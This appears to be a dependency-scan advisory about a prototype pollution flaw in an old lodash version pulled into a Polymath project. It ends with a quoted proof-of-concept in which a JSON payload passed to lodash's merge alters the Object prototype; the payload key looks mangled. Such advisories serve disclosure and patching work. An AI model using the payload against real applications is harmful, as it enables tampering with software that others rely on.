Prototype Pollution

[larrycameron80]

Prototype Pollution
Vulnerable module: lodash
Introduced through: semantic-release-cli@5.2.1
Detailed paths
Introduced through: @polymathnetwork/abi-wrappers@PolymathNetwork/polymath-abi-wrappers#016f858f82ee983814ce487a8de0a67b68652196 › semantic-release-cli@5.2.1 › travis-ci@2.2.0 › lodash@1.3.1
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"proto":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);